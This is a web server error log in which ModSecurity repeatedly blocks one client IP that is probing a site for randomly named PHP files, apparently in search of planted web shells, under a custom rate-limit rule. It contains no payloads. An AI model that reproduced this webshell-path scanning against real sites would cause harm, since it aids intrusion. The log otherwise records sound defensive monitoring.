[Sun Apr 19 02:38:24.644708 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:55170] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtogs.php"] [unique_id "aePPoHFWunkyacYqsD1K9QAAAVY"]
[Sun Apr 19 02:38:25.440501 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:50035] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtogs.php"] [unique_id "aePPoUyD4Jm27Mb3NJiUYwAAAJY"]
[Sun Apr 19 02:38:26.178780 2026] [:error] [pid 41277:tid 41283] [client 20.91.197.181:51801] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtogs.php"] [unique_id "aePPokH3ayszMLZYflsEggAAAYQ"]
[Sun Apr 19 02:38:26.778440 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:47422] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtogs.php"] [unique_id "aePPonFWunkyacYqsD1K-AAAAUE"]
[Sun Apr 19 02:38:27.425434 2026] [:error] [pid 41277:tid 41282] [client 20.91.197.181:52666] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xbbih.php"] [unique_id "aePPo0H3ayszMLZYflsEhwAAAYM"]
[Sun Apr 19 02:38:28.061934 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:47408] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xbbih.php"] [unique_id "aePPpHFWunkyacYqsD1K-wAAAUI"]
[Sun Apr 19 02:38:28.702958 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:55202] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xbbih.php"] [unique_id "aePPpEH3ayszMLZYflsEiQAAAZY"]
[Sun Apr 19 02:38:29.377771 2026] [:error] [pid 33517:tid 33520] [client 20.91.197.181:50001] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xbbih.php"] [unique_id "aePPpX4Zz-rubR1wiZ-6hgAAAME"]
[Sun Apr 19 02:38:30.226937 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:52079] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xcakx.php"] [unique_id "aePPpkyD4Jm27Mb3NJiUaAAAAIo"]
[Sun Apr 19 02:38:30.966763 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:55495] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xcakx.php"] [unique_id "aePPpnFWunkyacYqsD1LAgAAAVE"]
[Sun Apr 19 02:38:31.520638 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:52577] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xcakx.php"] [unique_id "aePPp0yD4Jm27Mb3NJiUbAAAAI4"]
[Sun Apr 19 02:38:32.184835 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:55516] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xcakx.php"] [unique_id "aePPqEyD4Jm27Mb3NJiUbQAAAJY"]
[Sun Apr 19 02:38:32.735728 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:55219] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xjgdw.php"] [unique_id "aePPqEH3ayszMLZYflsEkwAAAYY"]
[Sun Apr 19 02:38:33.583478 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:52562] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xjgdw.php"] [unique_id "aePPqUyD4Jm27Mb3NJiUdQAAAI8"]
[Sun Apr 19 02:38:34.182972 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:50040] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xjgdw.php"] [unique_id "aePPqnFWunkyacYqsD1LBwAAAVI"]
[Sun Apr 19 02:38:35.451690 2026] [:error] [pid 33517:tid 33530] [client 20.91.197.181:55207] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xjgdw.php"] [unique_id "aePPq34Zz-rubR1wiZ-6iQAAAMs"]
[Sun Apr 19 02:38:37.550977 2026] [:error] [pid 32165:tid 32178] [client 20.91.197.181:51058] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopgt.php"] [unique_id "aePPrae2vKwEk_N0Brb_NAAAAAk"]
[Sun Apr 19 02:38:38.586395 2026] [:error] [pid 32165:tid 32193] [client 20.91.197.181:55173] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopgt.php"] [unique_id "aePPrqe2vKwEk_N0Brb_NQAAABg"]
[Sun Apr 19 02:38:39.684839 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:50014] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopgt.php"] [unique_id "aePPr3FWunkyacYqsD1LFAAAAUY"]
[Sun Apr 19 02:38:40.418926 2026] [:error] [pid 33517:tid 33537] [client 20.91.197.181:52053] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xopgt.php"] [unique_id "aePPsH4Zz-rubR1wiZ-6jwAAANI"]
[Sun Apr 19 02:38:41.621872 2026] [:error] [pid 32167:tid 32232] [client 20.91.197.181:55523] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsjtz.php"] [unique_id "aePPsUyD4Jm27Mb3NJiUfwAAAIc"]
[Sun Apr 19 02:38:42.599213 2026] [:error] [pid 60910:tid 60915] [client 20.91.197.181:52089] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsjtz.php"] [unique_id "aePPsnFWunkyacYqsD1LGQAAAUM"]
[Sun Apr 19 02:38:43.609827 2026] [:error] [pid 32165:tid 32186] [client 20.91.197.181:51783] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsjtz.php"] [unique_id "aePPs6e2vKwEk_N0Brb_NwAAABE"]
[Sun Apr 19 02:38:44.282878 2026] [:error] [pid 60910:tid 60922] [client 20.91.197.181:55499] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsjtz.php"] [unique_id "aePPtHFWunkyacYqsD1LHwAAAUo"]
[Sun Apr 19 02:38:45.164958 2026] [:error] [pid 41277:tid 41294] [client 20.91.197.181:55222] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zvinn.php"] [unique_id "aePPtUH3ayszMLZYflsEowAAAY8"]
[Sun Apr 19 02:38:45.755428 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:47417] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zvinn.php"] [unique_id "aePPtUyD4Jm27Mb3NJiUigAAAI4"]
[Sun Apr 19 02:38:46.557101 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:55500] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zvinn.php"] [unique_id "aePPtnFWunkyacYqsD1LIwAAAUU"]
[Sun Apr 19 02:38:47.200395 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:55218] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zvinn.php"] [unique_id "aePPt3FWunkyacYqsD1LJQAAAVI"]
[Sun Apr 19 02:38:47.853011 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:50016] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/balin.php"] [unique_id "aePPt3FWunkyacYqsD1LJwAAAVA"]
[Sun Apr 19 02:38:48.543248 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:52613] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/balin.php"] [unique_id "aePPuHFWunkyacYqsD1LLAAAAUE"]
[Sun Apr 19 02:38:49.126829 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:52569] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/balin.php"] [unique_id "aePPuUyD4Jm27Mb3NJiUkAAAAIw"]
[Sun Apr 19 02:38:49.961672 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:52582] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/balin.php"] [unique_id "aePPuUyD4Jm27Mb3NJiUkwAAAIs"]
[Sun Apr 19 02:38:50.905091 2026] [:error] [pid 41277:tid 41280] [client 20.91.197.181:55541] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x19493QU8ZQ.php"] [unique_id "aePPukH3ayszMLZYflsErQAAAYE"]
[Sun Apr 19 02:38:51.637905 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:52624] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x19493QU8ZQ.php"] [unique_id "aePPu0yD4Jm27Mb3NJiUlAAAAJY"]
[Sun Apr 19 02:38:52.289822 2026] [:error] [pid 32166:tid 32200] [client 20.91.197.181:52668] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x19493QU8ZQ.php"] [unique_id "aePPvJCHNkWwdiZnafLWeQAAAEI"]
[Sun Apr 19 02:38:53.333309 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:52047] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x19493QU8ZQ.php"] [unique_id "aePPvX4Zz-rubR1wiZ-6lgAAAMA"]
[Sun Apr 19 02:38:53.920435 2026] [:error] [pid 32166:tid 32222] [client 20.91.197.181:55199] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13ede.php"] [unique_id "aePPvZCHNkWwdiZnafLWegAAAFg"]
[Sun Apr 19 02:38:54.573491 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:55510] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13ede.php"] [unique_id "aePPvkyD4Jm27Mb3NJiUnQAAAIo"]
[Sun Apr 19 02:38:55.200943 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:55174] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13ede.php"] [unique_id "aePPv0yD4Jm27Mb3NJiUnwAAAI0"]
[Sun Apr 19 02:38:55.941996 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:52058] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13ede.php"] [unique_id "aePPv3FWunkyacYqsD1LNAAAAVg"]
[Sun Apr 19 02:38:56.626464 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:52579] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akhvg.php"] [unique_id "aePPwOXl4Yc-Lt5fJ9irLgAAARU"]
[Sun Apr 19 02:38:57.392191 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:52597] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akhvg.php"] [unique_id "aePPwXFWunkyacYqsD1LNgAAAUg"]
[Sun Apr 19 02:38:57.949805 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:55223] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akhvg.php"] [unique_id "aePPwUyD4Jm27Mb3NJiUowAAAIk"]
[Sun Apr 19 02:38:58.559950 2026] [:error] [pid 33517:tid 33537] [client 20.91.197.181:55509] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akhvg.php"] [unique_id "aePPwn4Zz-rubR1wiZ-6oAAAANI"]
[Sun Apr 19 02:38:59.182295 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:55548] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePPw-Xl4Yc-Lt5fJ9irNQAAAQE"]
[Sun Apr 19 02:38:59.852041 2026] [:error] [pid 41277:tid 41297] [client 20.91.197.181:55179] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePPw0H3ayszMLZYflsEtgAAAZI"]
[Sun Apr 19 02:39:00.412552 2026] [:error] [pid 41277:tid 41290] [client 20.91.197.181:55543] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assacc.php"] [unique_id "aePPxEH3ayszMLZYflsEuAAAAYs"]
[Sun Apr 19 02:39:08.914223 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:55503] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhigtouj.php"] [unique_id "aePPzEH3ayszMLZYflsE6AAAAYY"]
[Sun Apr 19 02:39:10.166939 2026] [:error] [pid 41277:tid 41295] [client 20.91.197.181:52050] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhigtouj.php"] [unique_id "aePPzkH3ayszMLZYflsE6QAAAZA"]
[Sun Apr 19 02:39:11.182311 2026] [:error] [pid 41277:tid 41303] [client 20.91.197.181:47387] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhigtouj.php"] [unique_id "aePPz0H3ayszMLZYflsE8AAAAZg"]
[Sun Apr 19 02:39:12.184176 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:55529] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bhigtouj.php"] [unique_id "aePP0OXl4Yc-Lt5fJ9irQgAAAQ4"]
[Sun Apr 19 02:39:13.669478 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:55212] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aePP0XFWunkyacYqsD1LOgAAAVI"]
[Sun Apr 19 02:39:14.815440 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:52067] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aePP0n4Zz-rubR1wiZ-6twAAANc"]
[Sun Apr 19 02:39:16.236358 2026] [:error] [pid 41277:tid 41300] [client 20.91.197.181:49999] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aePP1EH3ayszMLZYflsE9QAAAZU"]
[Sun Apr 19 02:39:17.385280 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:47413] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bxhnfdgd.php"] [unique_id "aePP1UH3ayszMLZYflsE-gAAAYw"]
